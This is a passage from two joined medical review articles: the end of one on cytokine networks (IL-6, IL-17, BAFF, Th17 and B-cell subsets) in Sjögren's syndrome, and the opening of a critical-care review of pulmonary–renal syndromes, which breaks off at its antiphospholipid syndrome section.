Inevitably, the role of Th1 and Th 2 cells in SS, gleaned from studies of cultured cells and from observations of SS patients, have become contradictory. These discrepancies were resolved by the discovery of IL-23, after which it was determined that abnormalities first ascribed to Th1 cells were instead engendered by Th17 cells, named after their IL-17 cytokine signature [11,26-29]. Th17 cells produce a family of cytokines from IL-17A through IL-17F, and, to a lesser extent, TNF-α and IL-22 [11]. Although IL-17 and IL-22 are structurally similar, they bind to distinct receptors and take part in separate intracellular pathways. Furthermore, in contrast to IL-17, IL-22 exerts minor proinflammatory effects, and, under certain circumstances, even protects from autoimmune outcomes. Th17 cells are primed by the association of IL-6 with either IL-1 or IL-21 via the orphan retinoid nuclear receptor γt, but neither Tbet nor GATA-3. IL-21, a member of the IL-2 family, collaborates with dendritic cell (DC)-derived transforming growth factor (TGF)-β to amplify the tendency to Th17 cell differentiation and induce these lymphocytes to express receptors for IL-23. The latter cytokine is required for the maintenance of Th17 [30,31]. It is interesting that, at least in mice, Th17 lymphocytes can also function as B-cell helpers [32]. They induce a pronounced antibody response, with preferential immunoglobulin (Ig) class switch to IgG2a and IgG3 for IL-17, and to IgG1 and IgG2b for IL-21. These results establish that Th17 cells are crucial in GC formation.
In line with the mouse data, high serum [33] and saliva [34] levels of IL-17 have been reported in SS patients. In addition, their SGs exhibit a predominance of IL-17-containing cells within the inflammatory lesions [27], consistent with the production of IL-17 by ductal epithelial cells. Further work on SGs detected TGF-β, IL-6 and IL-23, all requisite promoters of Th17 differentiation [31]. These findings add credence to the view that Th17 cells are possible drivers of the persistent inflammatory response in the SGs of patients with primary SS.
Regulatory T cells
An exciting aspect of homeostasis of the Th 17 cells is their reciprocal relationship with Treg cells. However, there is as yet no universal consensus on their definition. They were originally identified by high membrane levels of CD25. Subsequent studies indicated that this prerequisite for identifying Treg cells did not fit the observation that CD25-CD4+ T cells exert as many regulatory functions as CD25+CD4+ T cells. The Treg cells were subsequently identified by the abundance of the forkhead box protein P3 (Foxp3) transcriptional regulator. Foxp3+ cells develop in the thymus as natural Treg cells, or differentiate from naïve T lymphocytes in the presence of TGF-β as immune Treg cells. Natural Treg cells expressing the inducible co-stimulate use IL-10 to suppress DC functions, and TGF-β to restrain T cells. Treg cells that do not express this inducible co-stimulate require TGF-β only [34].
The reports are contradictory in that the blood of SS patients contains too many [35] or too few Treg cells [36]. The real setting could be that Foxp3+ lymphocytes circulating in the blood correlate inversely with those infiltrating the SGs [37]. The fact that there are fewer Treg cells in advanced than in mild SG infiltrates supports the view that DC-derived TGF-β induces Foxp3 in naïve T cells and switches T-cell differentiation from the defective Treg cell pathway to a Th17 differentiation pathway in the presence of IL-6 [30,31].
Similarly, IL-18, which can be secreted by epithelial cells, has been detected in periductal mononuclear cells (MNCs), and correlated with infiltrating macrophages and increases in serum IL-18 [26]. This supplemental mediator would regulate the Th1 response and amplify IL-17 synthesis [27]. At the time of its identification, the pathological role of IL-18 in the SGs of SS patients was unclear. Since then, we have learned that IL-18 acts as a chemoattractant for CD4+ T cells and a stimulator for antigen-presenting cells, required for the generation of Th17 cells (Figure 2). Furthermore, IL-18 promotes the synthesis of proinflammatory cytokines, enhances the secretion of chemokines and worsens tissue damage through cell-mediated cytotoxicity and release of matrix metalloproteinases [28]. Ultimately, a handful of macrophages and DCs can play an IL-18-mediated active role in the SGs and in MNC infiltration.
Figure 2. The network of T helper (Th) cells gathers together Th0, Th1, Th2 and Th17 lymphocytes. The production of IFN-γ, transforming growth factor (TGF)-β and various interleukins is indicated. MØ, macrophage.
The role of IL-6 in Sjögren's syndrome
Up-regulation of IL-6
Not only does IL-6 participate in the generation of Th17 cells but it also fosters their proliferation and is associated with multiple effects in patients with SS, whose SGs have been shown to contain IL-6. Given that it is also derived from Th17 cells [38], IL-6 can activate local B cells in an autocrine manner. The 80-kDa glycoprotein (gp) receptor for IL-6 associates with a signal-transducing 130-kDa gp chain to shape a membrane-bound aggregate. The receptor for IL-6 also exists in a soluble form capable of binding to transmembrane gp130 and facilitating signal transduction through homodimerization of gp130 to the ligand-receptor complex [39]. Thus, IL-6 exerts seemingly opposite effects by lending strength to Th17 cells and exerting polyclonal activation of B cells.
IL-6-related T- and B-cell biology
In the presence of IL-6, Th17 cells orchestrate the development of GCs dominated by autoreactive lymphocytes [40], such as those that we have described in the SGs of SS patients [41]. Moreover, IL-6 contributes to the expression of recombination-activating genes (Rags). Even though some of the activities of IL-6 proceed via its soluble form, the predominance of complexes of IL-6 and the IL-6 receptor is the therapeutic rationale for targeting the receptor rather than the cytokine. The soluble form may retain IL-6 and the complex bound to gp130 on the cell membrane and, thus, engage the receptor to the membrane again.
This pivotal cytokine seems to be responsible for abnormal B-cell antigen receptor (BCR)-mediated regulation of Rag genes in B cells in SS patients. Our own data [42] indicate that, along with BCR engagement, IL-6 signaling results in secondary Ig gene rearrangements, and thereby favors the generation of auto-antibodies. Of further interest is the limiting effect of IL-6 on the generation of Treg lymphocytes, and the ultimate suppressive effect of the latter cells on B lymphocyte responses.
Dysregulated production of IL-6 by B cells
As described in patients with rheumatoid arthritis and systemic lupus erythematosus, their spontaneous activation can induce B lymphocytes to release copious amounts of IL-6 in primary SS [43]. Furthermore, the IL-6 receptor is preferentially expressed on B cells in patients with active disease, and thereby preferentially stimulates the differentiation of autoreactive B lymphocytes.
B-cell cytokines
Polarized B lymphocytes
B cells possess the capacity to produce a range of cytokines. These may be grouped as proinflammatory cytokines, such as IL-1, IL-6, TNF-α and lymphotoxin (LT)-α; as immunosuppressive cytokines, such as TGF-β and IL-10; or as hematopoietic growth factors, such as IL-7 and granulocyte/macrophage-colony stimulating factor. The third family facilitates Th1 cell polarization and the production of TNF-α by DCs, and derives from macrophages and endothelial cells in the SGs of patients with SS [44].
In reality, the major breakthrough in determining the potential role of B cells in diseases occurred when two distinct cytokine-secreting subsets were identified through the culture of B cells with effector T cells associated with their cognate antigens [15]. B lymphocytes polarized in the presence of Th1 cells were designated B effector (Be)1 cells, based on their signature cytokines, IFN-γ and IL-2, in the expected presence of Tbet. Conversely, Th2 cells induced naïve B lymphocyte polarization into Be2 cells, which produced IL-4 and IL-6, in the unexpected absence of GATA-3. However, IL-10, LT-β, TGF-β, and TNF-α were similarly expressed in Be1 and Be2 cells, yielding an ever-growing complexity of these B-cell subsets.
The kinetics of Be cell generation and the cytokine profile of B cells raise the possibility that the Th1 phenotype is imprinted on Be1 cells through IL-2 and that expression of IFN-γ by B cells is sustained through an autocrine loop between IFN-γ and the IFN-γ receptor. However, the differentiation of naïve B lymphocytes into IL-4-producing Be2 cells is controlled by T-cell-dependent signals. Of important note, IL-4 is generated by GC B cells and is necessary for Th2 polarization [45].
Interconnections between the B- and T-cell cytokine networks
LTs are implicated in establishing and maintaining the organization of normal lymphoid tissues. Mice in which LT-α [46] and/or LT-β [47] signaling is disrupted suffer from disturbances in splenic architecture. Intriguing also is the finding that DC networks, conspicuous components of B-cell follicles, are lacking in different LT knock-out mice [48]. Gonzalez and colleagues [49] showed that B lymphocytes induce membrane LT-α, and that the transfer of B cells (but not T cells) from membrane LT-α-positive mice (but not membrane LT-α-negative mice) governed the emergence of soluble LT-α in the SGs of IL-14α transgenic mice, a model of primary SS [50]. Thus, signaling through LT-α was necessary to reduce aspects of SS in the SGs of non-obese diabetic mice [51].
Activated Th cells crosstalk with activated B cells to regulate their respective responses. Conversely, Be cells modulate T-cell polarization. The factors that affect T-cell differentiation toward Th1 cells induce naïve B cells to produce IFN-γ via activation of Stat-3, the phosphorylation of which is initiated by IL-12 [52]. A high level of expression of IL-12 has been found in the SGs of SS patients [53], and IL-12-induced SG dysfunction in IL-12 transgenic mice offers a new model for primary SS [54]. MNCs infiltrate their exocrine tissues, suggesting that IL-12 contributed to the circuit involving auto-reactive T and B cells in SS. Interestingly, IL-10 produced by B cells suppresses IL-12 production by DCs, thus blocking Th1 cell responses.
Once B cells have been induced to produce IFN-γ, the presence of Th1 is no longer required to maintain polarized Be cells. This is because antigen-specific B lymphocytes take up antigen for presentation to T cells and, by doing so, create a self-sustaining circuit of B and T cells through which other naïve T cells may be recruited.
Aside from promoting Th1 cell polarization, Be1 cells amplify IFN-γ production by T cells via a TNF-α-mediated mechanism. Polarization of B cells may take place at sites of inflammation, such as affected SGs [55]. Although patients with ectopic GCs have lower levels of Be2 cytokines than other SS patients, accumulating evidence supports the view that most of these B-cell clusters do not fulfill the requisites for ectopic GCs, but constitute aggregates of immature B cells [36]. However, the high affinity and class switch of auto-antibodies produced imply a local break of B-cell tolerance.
As suggested above, the proinflammatory IL-17, normally considered a T-cell-associated factor, has also been reported to be a central driver of GC-derived auto-antibodies. This was demonstrated by blocking IL-17 signaling that disrupted the CD4+ T-cell and B-cell interactions required for the formation of GCs [40].
Additionally, memory B cells are markedly reduced in the circulation, possibly due to retention in inflamed SGs [56]. Their ensuing accumulation, along with shedding of surface CD27 [57], and altered recirculation of B-cell subsets from these sites may all participate in the disturbed B-cell homeostasis in primary SS [58]. Given that CD27+ memory B cells present with a higher transmigratory capacity to CXCL12, also termed stromal cell-derived factor-1 (SDF-1), and to CXCL13, also termed B-cell-attracting chemokine-1 (BCA-1), than CD27-naïve B cells [59], glandular coexpression of these two chemokines [6,7,60] directs memory B cells preferentially into inflamed SGs, where they reside [61].
Regulatory circuits
The transcription factor Tbet in T and B lymphocytes
The finding of Tbet in B cells had, in fact, been preceded by its description in T cells. Not only does the binding of IFN-γ to its receptor on the surface of naïve T cells activate and hence translocate Stat-1 into the nucleus, but this interaction also promotes the expression of transcription factors involved in Th1 development. Thus, Tbet induces the transcription of the IFN-γ gene, as well as the expression of receptors for IL-12. The net result is that T cells become responsive to IL-12, and translocate Stat-1 into the nucleus, where IFN-γ expression is induced. In turn, IFN-γ drives T cells along the Th1 pathway through a positive feedback loop.
Similarly, naïve B cells are equipped with receptors for IFN-γ, and can be induced to release Tbet-triggered IFN-γ in the presence of IL-12. Th en, B-cell-derived IFN-γ activates B cells in an autocrine manner, and amplifies Th1 responses through a paracrine pathway [55]. Consistent with this view is that Tbet-deficient murine B cells skew antibody isotypes toward IgG1 and IgE, which are isotypes favored by Be2 cells.
GATA-3 and T-cell differentiation
The absence of GATA-3 in Be cells raises the question of whether it can be replaced by other transcription factors. By counteracting Tbet in T cells, GATA-3 regulates Th polarization directly and Be cell generation indirectly [62]. This transcription factor diverts T-cell differentiation towards Th2 cells by silencing Th1-cell-specific transcription factor, and thereby enabling Th2 cells to proliferate. Co-culture of naïve B cells with Th2 cells inhibits Tbet, reduces IFN-γ production and reverses the up-regulation of receptors for IL-12. Conversely, up-regulation of IL-4 in Be2 cells depends on both T cells and IL-4. This is why B lymphocytes deficient in the receptor for IL-4 do not transcribe IL-4, and why B cells primed by IL-4-deficient Th2 cells substitute IFN-γ for IL-4. Put simply, Tbet (in T cells, but also in B cells) and GATA-3 (in T cells, but also in B cells) suppress cytokines synthesized by the opposing Th cell subpopulation.
B-cell-modulating factors in Sjögren's syndrome
A new generation of ligands and receptors
Two cytokines and their receptors have been demonstrated to be key in B-cell homeostasis: BAFF, which rescues B cells from apoptosis, and APRIL, which participates in B-cell activation [63]. Like most members of the TNF family, BAFF is a transmembrane type I protein that can be cleaved by a furin convertase to produce a 17-kDa soluble form. The biologically active form of BAFF is trimeric, but 20 trimers can also associate to form a virus-like 60-mer structure. APRIL and BAFF, referred to as growth factors rather than cytokines by some investigators, have two receptors in common: the B-cell maturation antigen (BCMA) and the transmembrane activator calcium modulator and cyclophilin ligand interactor (TACI). In addition, BAFF binds specifically to BAFF receptor 3 (BR3), whereas heparin sulfate proteoglycans are specific receptors for APRIL. BAFF receptors are mainly expressed on B cells, but, for each receptor, cell membrane density varies from transitional type-1 (T1) B lymphocytes to plasma cells. In humans, BR3 is present in BT1 cells to memory B cells, but not in plasma cells.
BAFF is critical for B cells to survive in the periphery. It is also involved in B-cell selection by dictating set points for mature primary B-cell numbers and adjusting thresholds for specificity-based selection during down-stream differentiation. This cytokine has, therefore, aroused much interest because of its association with maintaining and breaching tolerance (Figure 3). Normally, few immature B cells successfully pass to the T2 stage. Irrespective of the level of receptor expression, BAFF is the dominant agent in the resistance of BT2 cells to apoptosis. In its absence, B-cell maturation is arrested at the T1 cell stage, while BAFF transgenic mice manifest T2 cell hyperplasia in their exocrine glands, which is reminiscent of the B-cell aggregates in the SGs of SS patients. The mice, then, develop systemic lupus erythematosus and SS-like disease [64]. The explanation is that excess BAFF protects self-reactive B cells from deletion and allows them to move to forbidden follicle or marginal zone (MZ) niches [65].
Figure 3. In secondary lymphoid organs and salivary glands of patients with primary Sjögren's syndrome, immature B cells settle down before further ontogenesis. Transitional type 1 B cells (BT1) evolve to BT2 cells, depending on the affinity of antigen for the B-cell antigen receptor (BCR) and the amount of B-cell activating factor (BAFF) of the TNF family. Should the BCR signal be low, they move to the marginal zone (MZB); should it be high, they generate germinal centers within the follicle (FO).
In the SGs of BAFF transgenic mice, the expanded MZ B-cell compartment comprises self-reactive B cells [40,64,66], in contrast to a splenic architecture in LTα/β-deficient mice, which lack a structured MZ, preventing MZ B-cell development [67]. Noticeable in this regard is that the progeny of BAFF transgenic mice crossed with LT knockout mice lack MZ B cells and do not develop sialadenitis [68]. These results came as no surprise, while more intriguingly, Treg cell expansion through B-cell-dependent mechanisms [69] leads to profoundly compromised T-cell responses [70]. Based on these characteristics, BAFF might be regarded as a cytokine rather than a growth factor for B cells.
BAFF is produced by all sorts of macrophages and DCs, and from epithelial cells and activated T lymphocytes. Its mRNA has also been detected in myeloid cells, bone marrow-derived stromal cells, astrocytes, and fibroblast-like synoviocytes in response to proinflammatory cytokines. At the protein level, BAFF exists as a membrane-associated molecule, or a cell-free protein, whereas APRIL occurs only in a soluble form.
BAFF overexpression and Sjögren's syndrome
Serum levels of BAFF are increased in association with auto-antibodies in patients with primary SS. Moreover, high levels of BAFF in the serum and saliva of these individuals [71] are associated with anti-sicca syndrome A and anti-sicca syndrome B antibodies and/or rheumatoid factor and/or anti-double-stranded DNA antibody, in some [72,73], but not all [74,75], patients with SS, rheumatoid arthritis or systemic lupus erythematosus. There exists, however, the issue of why serum levels of BAFF remain within, or even below, normal levels in a proportion of SS patients [76]. In addition, estimates of BAFF fluctuate with changes in inflammatory activity. Convinced that such fluctuations could be due to flaws or variations in enzyme-linked immunosorbent assays, we developed an in-house assay [77] and detected elevated levels of BAFF in the sera of most SS patients.
BAFF, therefore, is a genuinely promising target for therapy, along with IL-6. Such a combination seems to be in some conflict, since BAFF promotes B-cell responses whilst IL-6 promotes the Th17 axis. However, IL-6 is also a prevailing factor in polyclonal activation of B cells, and by rescuing B cells from apoptosis, it promotes their production of IL-6. It is unclear at this stage which of the three cytokines, IL-6, BAFF or IL-17, should be considered the driving force since IL-6-induced B-cell activation also promotes BAFF production [32,38,42,55], and since local BAFF gene silencing suppresses Th17 cell generation and ameliorates autoimmune arthritis [78]. These data reveal that IL-17 is an effector cytokine for BAFF-mediated proinflammatory effects.
Another mouse model, the Act1-knockout mouse, provided information on the signaling pathways induced by BAFF in the development of SS. Act1 is a negative regulator in CD40- and BAFF-mediated B-cell survival [79]. It is relevant that co-stimulation with BAFF rescues Act1-deficient T1 and T2 B lymphocytes from BCR-induced apoptosis. Consequently, Act1 knockout mice develop autoimmune manifestations similar to SS. Thus, Act1 is negative for B-cell-mediated humoral responses [80], but instead positive for the IL-17 signaling pathway [81].
There have been reports that the aberrant production of these cytokines could be due to excess IFN-α produced by plasmacytoid DCs [82]. A credible candidate for the induction of IFN-α secretion by plasmacytoid DCs is viral infection. Alternatively, IFN-α production in SS may be induced by immune complexes containing nucleic acids. The role of this cytokine in SS was recently reviewed by Mavragani and Crow [83]. They highlighted the noted increase in circulating type-1 IFN and an IFN signature in peripheral blood MNCs and minor SGs from SS patients [84]. Altered levels of production of this cytokine may be dependent on genetic and/or epigenetic mechanisms [85], and its blockade therefore is a logical therapeutic target for the treatment of SS.
More importantly, there is good evidence that local production of BAFF contributes to deleterious effects of activated B cells by raising their expression of CD19 molecules [4], and ensuring survival of B-cell aggregates, and auto-antibody isotype switching outside and inside GCs [41]. This process is sustained by the aberrant expression of BAFF by B lymphocytes infiltrating the SGs [86,87].
Aberrant production of BAFF by B cells in SS patients
Indeed, due to the dependency of newly formed B cells on BAFF, it is tempting to believe that this cytokine needs to be produced in tissue nearby the cell aggregates. We have demonstrated aberrant expression of BAFF not only in epithelial cells and activated T lymphocytes, but also by single cells isolated from the SGs and by B lymphocytes infiltrating the SGs of patients with SS [87]. Such might be the reason why rituximab-induced B-cell depletion reduces the Th17 response [88] in rheumatoid arthritis synovium as well as that of normal Th 17 cells in the absence of B cells in culture. This finding is also consistent with in vitro and in vivo evidence [89] that activation of B cells induces BAFF and APRIL expression in B cells from normal and autoimmunity-prone mice. Production of BAFF by B lymphocytes is unusual, but malignant B cells produce BAFF [90], which promotes their survival in an autocrine manner. This aberrancy is caused by amplification of the BAFF gene in B cells.
Conclusion
There is little doubt that exploring the role of cytokines in SS is a highly promising field of investigation. How the cells and cytokines interact to promote the development of SS is summarized in Figure 4. In general, B-cell depletion has provided clinical benefits [91-95]. Some failures might be ascribed [95] to imbalances in Th cell subsets or the depletion of Breg cells. Such striking conceptual advances offer novel perspectives in the treatment of primary SS. Clearly, IL-6, IL-17 and BAFF are major agents in the pathogenesis of SS and, therefore, cytokine targeting would have great therapeutic potential. Nevertheless, B-cell-directed therapies notwithstanding [94], much uncertainty remains as to the best therapeutic strategy for the treatment of SS. Further development of biotherapies is beyond the scope of this review. However, we can reasonably expect progress in the near future based on the aforementioned new insights into disturbances of the cytokine networks in SS.
Figure 4. Polarization of T cells and B cells within the salivary gland inflammatory response. Naïve B cells (B0) polarized in the presence of T helper (Th)1 cells are designated B effector (Be)1 cells. Naïve T cells (Th0) polarized in the presence of Be2 cells are designated Th2 cells. Consequently, interconnections exist between the B-cell and T-cell cytokine networks. TGF, transforming growth factor; T Reg, regulatory T cell.
Abbreviations
APRIL: a proliferation-inducing ligand; BAFF: B-cell-activating factor; BCR: B cell antigen receptor; Be: B effector; Breg: regulatory B; DC: dendritic cell; GC: germinal center; gp: glycoprotein; IFN: interferon; Ig: immunoglobulin; IL: interleukin; LT: lymphotoxin; MNC: mononuclear cell; MZ: marginal zone; Rag: recombination-activating gene; SG: salivary gland; SS: Sjögren's syndrome; Stat: signal transducer and activator of transcription; TGF: transforming growth factor; Th: T helper; TNF: tumor-necrosis factor; Treg: regulatory T.
Competing interests
The authors declare that they have no competing interests.
Note
Autoimmune Basis of Rheumatic Diseases
This article is part of a series on Sjögren's syndrome, edited by Thomas Dörner, which can be found online at http://arthritis-research.com/series/Sjogrens webcite
This series forms part of a special collection of reviews covering major autoimmune rheumatic diseases, available at: http://arthritis-research.com/series/abrd webcite
Acknowledgements
We acknowledge Professor Rizgar A Mageed (William Harvey Institute, and Queen Mary School of Medicine, London, United Kingdom) for critical reading of our manuscript. We thanks Geneviève Michel and Simone Forest for their help with the typing of the manuscript.
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Review
Bench-to-bedside review: Pulmonary–renal syndromes – an update for the intensivist
Spyros A Papiris1*, Effrosyni D Manali1, Ioannis Kalomenidis1, Giorgios E Kapotsis1, Anna Karakatsani1 and Charis Roussos2
Author Affiliations
1 2nd Pulmonary Department, National and Kapodistrian University of Athens, 'Attikon' University Hospital, Athens, Greece
2 Department of Critical Care and Pulmonary Services, National and Kapodistrian University of Athens, 'Evangelismos' Hospital, Athens, Greece
For all author emails, please log on.
Critical Care 2007, 11:213 doi:10.1186/cc5778
The electronic version of this article is the complete one and can be found online at: http://ccforum.com/content/11/3/213
Published:2 May 2007
© 2007 BioMed Central Ltd
Abstract
The term Pulmonary–renal syndrome refers to the combination of diffuse alveolar haemorrhage and rapidly progressive glomerulonephritis. A variety of mechanisms such as those involving antiglomerular basement membrane antibodies, antineutrophil cytoplasm antibodies or immunocomplexes and thrombotic microangiopathy are implicated in the pathogenesis of this syndrome. The underlying pulmonary pathology is small-vessel vasculitis involving arterioles, venules and, frequently, alveolar capillaries. The underlying renal pathology is a form of focal proliferative glomerulonephritis. Immunofluorescence helps to distinguish between antiglomerular basement membrane disease (linear deposition of IgG), lupus and postinfectious glomerulonephritis (granular deposition of immunoglobulin and complement) and necrotizing vasculitis (pauci-immune glomerulonephritis). Patients may present with severe respiratory and/or renal failure and require admission to the intensive care unit. Since the syndrome is characterized by a fulminant course if left untreated, early diagnosis, exclusion of infection, close monitoring of the patient and timely initiation of treatment are crucial for the patient's outcome. Treatment consists of corticosteroids in high doses, and cytotoxic agents coupled with plasma exchange in certain cases. Renal transplantation is the only alternative in end-stage renal disease. Newer immunomodulatory agents such as those causing TNF blockade, B-cell depletion and mycophenolate mofetil could be used in patients with refractory disease.
Introduction
Pulmonary–renal syndrome is defined as the combination of diffuse alveolar haemorrhage (DAH) and glomerulonephritis [1-3]. Several types of immunologic injury as well as other nonimmunologic mechanisms such as antiglomerular basement membrane (anti-GBM) antibodies, antineutrophil cytoplasm antibodies (ANCA), immunocomplexes and thrombotic microangiopathy are involved in the syndrome's pathogenesis [4-8] (Table 1).
Table 1. Pulmonary–renal syndromes
A significant number of patients will present with rapid clinical deterioration and require admission to the intensive care unit (ICU) [9-12]. This is attributed either to exacerbation of the disease activity itself, or to infectious complications secondary to severe immunosuppressive treatment [10,12]. Pulmonary–renal syndromes represent a major challenge in the ICU since the outcome is based on early and accurate diagnosis and aggressive treatment [13]. Nevertheless, mortality can reach 25–50% [14].
The aim of the present article is to provide the intensivist with an overview of Pulmonary–renal syndrome, focusing on new concepts of its pathogenesis and treatment innovations.
Pathology of Pulmonary–renal syndrome
The underlying pulmonary lesion in the majority of cases of Pulmonary–renal syndrome is small-vessel vasculitis, characterized by a destructive inflammatory process that involves arterioles, venules and alveolar capillaries (necrotic pulmonary capillaritis). These lesions disrupt perfusion and the continuity of the pulmonary capillary wall, allowing blood to extravasate in the alveolar space. This is clinically expressed with DAH [15].
The underlying renal pathology in the majority of cases of Pulmonary–renal syndrome is a form of focal proliferative glomerulonephritis [16]. Fibrinoid necrosis is frequently seen, as well as microvascular thrombi. Extensive crescent formation regularly accompanies glomerular tuft disease. Interstitial infiltration, fibrosis and tubular atrophy are poor prognostic factors. Necrotizing granulomas and small-vessel vasculitis are rare findings. Immunofluorescence helps to distinguish among anti-GBM disease (linear deposition of IgG), lupus and postinfectious glomerulonephritis (granular deposition of immunoglobulin and complement), and necrotizing vasculitis (pauci-immune glomerulonephritis) [17,18].
Epidemiology and pathogenesis of Pulmonary–renal syndrome
Pulmonary–renal syndrome associated with anti-GBM antibodies: Goodpasture's syndrome
The term 'Goodpasture's syndrome' is used for the clinical entity of DAH and rapidly progressive glomerulonephritis associated with anti-GBM antibodies [19,20].
Goodpasture's syndrome is extremely rare (one case per 1,000,000 population per year). The disease predominantly affects Caucasians of every age but mostly those in the second to third decades and the fifth to sixth decades of life, with a slight predominance of males. Although rare, this syndrome is responsible for about 20% of acute renal failure cases due to rapidly progressive glomerulonephritis [19]. Both genetic and environmental factors have been implicated in the pathogenesis of Goodpasture's syndrome. The disease has been described in brothers and in identical twins. More than 80% of patients carry the HLA alleles DR15 or DR4 whereas the alleles DR7 and DR1 are rarely found, suggesting that the latter may play a protective role [21]. The fact that most cases present sporadically implies an additional aetiology beyond hereditary predisposition. Environmental factors, such as smoking, infections and previous hydrocarbon exposure, have been implicated in triggering the disease [22].
Human anti-GBM antibodies belong mostly to the IgG class and reactwith a limited number of epitopes (EA and EB) on the noncollageneous domain of the α3 chain of type IV collagen (NC1 α3 IV), a molecule expressed in the basement membranes of renal glomerulus, renal tubule, alveoli, chorioid plexus, retinal capillaries and Bruchs's membrane [16,20]. Anti-GBM antibodies bind the glomerular basement membrane, activating compliment and proteases, resulting in the disruption of the filtration barrier and Bowman's capsule and causing proteinuria and crescent formation [23,24]. The pathogenetic role of anti-GBM has been proved in multiple studies [20]. As an example, in genetically engineered mice that produce human IgG antibodies, immunization with the NC1 α3 IV domains leads to the production of human anti-GBM antibodies and proliferative glomerulonephritis [25].
Pulmonary–renal syndrome in ANCA-positive systemic vasculitis
Circulating ANCA autoantibodies are detected in the majority of patients presenting with Pulmonary–renal syndrome [26,27]. ANCA do not confirm a specific entity but practically lead the differential diagnosis to three major systemic vasculitides syndromes: Wegener's granulomatosis, microscopic polyangiitis and Churg–Strauss syndrome [26].
Wegener's disease or Wegener's granulomatosis is characterized by the triad of systemic necrotizing vasculitis, necrotizing granulomatous inflammation of the upper and lower respiratory tract, and necrotizing glomerulonephritis [28]. The incidence of the disease is estimated up to 8.5/million (range 5.2–12.9/million) with a male-to-female ratio of 1:1. The disease usually involves Caucasians (80–97%) with a mean age at the time of diagnosis of 40–55 years, although persons of every age may be affected [29]. The lungs are involved in 90% of cases. In a small percentage of patients, a limited form of the disease that spares the kidney has been described [29,30].
Microscopic polyangiitis is a systemic small-vessel vasculitis manifested by pauci-immune necrotic glomerulonephritis (80–100% of patients), pulmonary capillaritis (10–30%), skin lesions and arthralgias [31].
Churg–Strauss syndrome is a systemic disease, typically presenting with an initial asthma/sinusitis phase, followed by eosinophilia and vasculitis [9]. In Churg–Strauss syndrome, renal involvement is milder compared with Wegener's disease, Goodpasture's syndrome and microscopic polyangitis [32].
ANCA include three categories of antibodies based on their pattern of indirect immunofluorescence on ethanol-fixed neutrophils: a diffuse cytoplasmic granular pattern, a perinuclear pattern, and an atypical pattern [33-35]. The antigenic target for cytoplasmic ANCA is proteinase 3 (Pr3), and that for perinuclear ANCA is myeloperoxidase (MPO).
ANCA are detected both through indirect immunofluorescence and ELISA [36,37].
Several lines of evidence suggest that ANCA are involved in the pathogenesis of ANCA-associated diseases. Xiao and colleagues demonstrated that anti-MPO IgG administration in mice causes focal necrotizing and crescentic glomerulonephritis [38]. In humans, a newborn developed glomerulonephritis and pulmonary haemorrhage after intrauterine transplacental transfer of ANCA IgG against MPO [39,40]. On the other hand, administration of anti-Pr3 antibodies in mice alone does not induce glomerulonephritis. This administration does, however, aggravate TNF-α-elicited inflammation, suggesting that Pr3 ANCA have a proinflammatory activity in conjunction with a primary inflammatory stimulus [41]. In addition, ANCA were shown to enhance interactions between leukocytes and endothelial cells and to cause microvascular haemorrhage [42,43]. More precisely, the majority of target antigens of ANCA such as Pr3 and MPO are proteolytic enzymes of the azurophilic granules of neutrophils [44]. Fixation of ANCA with Pr3 on the endothelial surface induces expression of adhesion molecules and release of IL-8 that causes recruitment and attachment of neutrophils on the endothelial cell surface, leading to vessel wall inflammation, obliteration and damage [45].
Pulmonary–renal syndrome in ANCA-negative systemic vasculitis
Pulmonary–renal syndrome in ANCA-negative systemic vasculitis is very rare and has been described only occasionally in Behçet's disease, in Henoch–Schönlein purpura, in IgA nephropathy and in mixed cryoglobulinaemia [46]. In Henoch–Schönlein purpura, acute capillaritis and DAH involve deposition of IgA immuno-complexes along the pulmonary alveoli [47].
ANCA-positive Pulmonary–renal syndrome without systemic vasculitis: idiopathic Pulmonary–renal syndrome
This entity includes the patients presenting with DAH, rapidly progressive glomerulonephritis and positive ANCA (either Pr3 or MPO), but with no other manifestation of systemic vasculitis. Fever, malaise, weight loss, myalgias and arthralgias may coexist. Mortality during the first episode of the syndrome exceeds 50%. It is argued that the syndrome represents either a limited type of microscopic polyangiitis or a variant of Wegener's syndrome [5].
Pulmonary–renal syndrome in drug-associated ANCA-positive vasculitis
Drugs provide one of the potentially reversible causes of ANCA-positive vasculitis. Most frequently they cause perinuclear ANCA/MPO ANCA vasculitis, although cytoplasmic ANCA/Pr3 ANCA vasculitis has also been described [48]. The drugs most frequently implicated in the pathogenesis of the syndrome are propylthiouracil and hydralazine. ANCA are detected in 20% of patients receiving propylthiouracil, but only a minority of these patients develop clinical manifestations of systemic vasculitis including Pulmonary–renal syndrome [49]. D-Penicillamine, allopurinol and sulfasalazine have also been associated with Pulmonary–renal syndrome.
Discontinuation of the causative drug most frequently leads to regression of the disease; however, some patients continue to present positive ANCA or even recurrent disease, requiring long-term immunosuppressive treatment. In general, drug-induced disease has a more benign course than ANCA-positive Pulmonary–renal syndrome of other aetiology [50]. Drugs should therefore be considered a potential cause of MPO vasculitis, particularly among patients with high titres of these antibodies [48].
Pulmonary–renal syndrome in both anti-GBM-positive and ANCA-positive patients
In patients with Pulmonary–renal syndrome, anti-GBM antibodies are occasionally detected simultaneously with ANCA, most frequently MPO ANCA [51,52]. The significance of this finding is unknown. No cross-reactivity between the targets of ANCA and anti-GBM antibodies has been found. It has been speculated that ANCA-associated damage of the glomerular membrane uncovers 'hidden antigen' inducing the formation of anti-GBM antibodies [53].
Pulmonary–renal syndrome in autoimmune rheumatic diseases (immune complexes and/or ANCA mediated)
Pulmonary–renal syndrome has been reported more often in systemic lupus erythematosus and systemic sclerosis, and rarely in rheumatoid arthritis and mixed connective tissue disease. DAH ± glomerulonephritis occurs in 2% of systemic lupus erythematosus patients and rarely is the first manifestation of the disease [54,55]. Immune complex deposition is frequently detected in both the pulmonary and renal vessels with mortality rates between 70% and 90%, among the highest of all causes of Pulmonary–renal syndrome [54,55]. Pulmonary–renal syndrome is a rare but potentially lethal complication of systemic sclerosis, and often coexists with pulmonary fibrotic disease [56]. In this case, renal failure is normotensive, in contrast to the hypertensive nephropathy characterizing systemic sclerosis. ANCA, more often the perinuclear ANCA or MPO ANCA, have been detected in some systemic sclerosis patients [57].
Pulmonary–renal syndrome in thrombotic microangiopathy
Pulmonary–renal syndrome has been described in the context of diseases characterized by thrombotic microangiopathy, such as antiphospholipid syndrome (APS), thrombotic thrombocytopenic purpura, malignancies and infections.
Antiphospholipid syndrome
